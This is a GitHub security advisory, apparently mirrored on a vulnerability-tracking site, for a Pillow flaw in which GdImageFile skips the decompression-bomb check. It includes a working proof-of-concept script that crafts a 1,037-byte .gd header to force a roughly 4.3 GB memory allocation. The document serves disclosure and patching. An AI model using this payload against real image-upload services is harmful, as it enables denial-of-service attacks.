GHSA-PHJ9-MV4W-65PM

Vulnerability from github – Published: 2026-07-20 21:13 – Updated: 2026-07-20 21:13
VLAI
Summary
Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
Details

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:13:35Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow\u0027s decompression bomb guard. The plugin exposes its own entry point \u2014 `PIL.GdImageFile.open(fp)` \u2014 which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50\u201361):**\n\n```python\ndef _open(self) -\u003e None:\n    s = self.fp.read(1037)\n    if i16(s) not in [65534, 65535]:\n        raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n    self._mode = \"P\"\n    self._size = i16(s, 2), i16(s, 4)   # \u2190 unsigned 16-bit; max 65535 each\n    # NO _decompression_bomb_check() call here \u2190\n    ...\n    self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() \u2192 load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\n# \u2191 C-level allocation of 4,294,836,225 bytes \u2248 4.3 GB \u2014 no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 \u00d7 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 \u00d7 MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24\u00d7 above DecompressionBombError threshold** |\n| Memory at max dimensions | **\u2248 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only \u2014 no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category \u2014 not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 \u2014 CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size)   # \u2190 present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file \u2192 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig          = struct.pack(\"\u003eH\", 0xFFFE)       # 65534 = GD 2.x magic\nw            = struct.pack(\"\u003eH\", 65535)         # max width\nh            = struct.pack(\"\u003eH\", 65535)         # max height\ntrue_color   = b\"\\x00\"                          # 0 = palette mode\ntindex       = struct.pack(\"\u003eI\", 0xFFFFFFFF)    # \u003e 255 = no transparency\ncolors_used  = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n    Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n    print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\"         No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\ntry:\n    img.load()\nexcept OSError:\n    print(f\"[INFO]   load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}\u00d7 error threshold\")\nprint(f\"[MATH]   Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n         No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\n[INFO]   load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\n\n[MATH]   4,294,836,225 pixels = 24.0\u00d7 error threshold\n[MATH]   Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation \u2192 `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file)   # succeeds \u2014 no bomb check\nimg.load()                                    # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH \u2014 a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable \u2014 attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No \u2014 any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
  "id": "GHSA-phj9-mv4w-65pm",
  "modified": "2026-07-20T21:13:35Z",
  "published": "2026-07-20T21:13:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…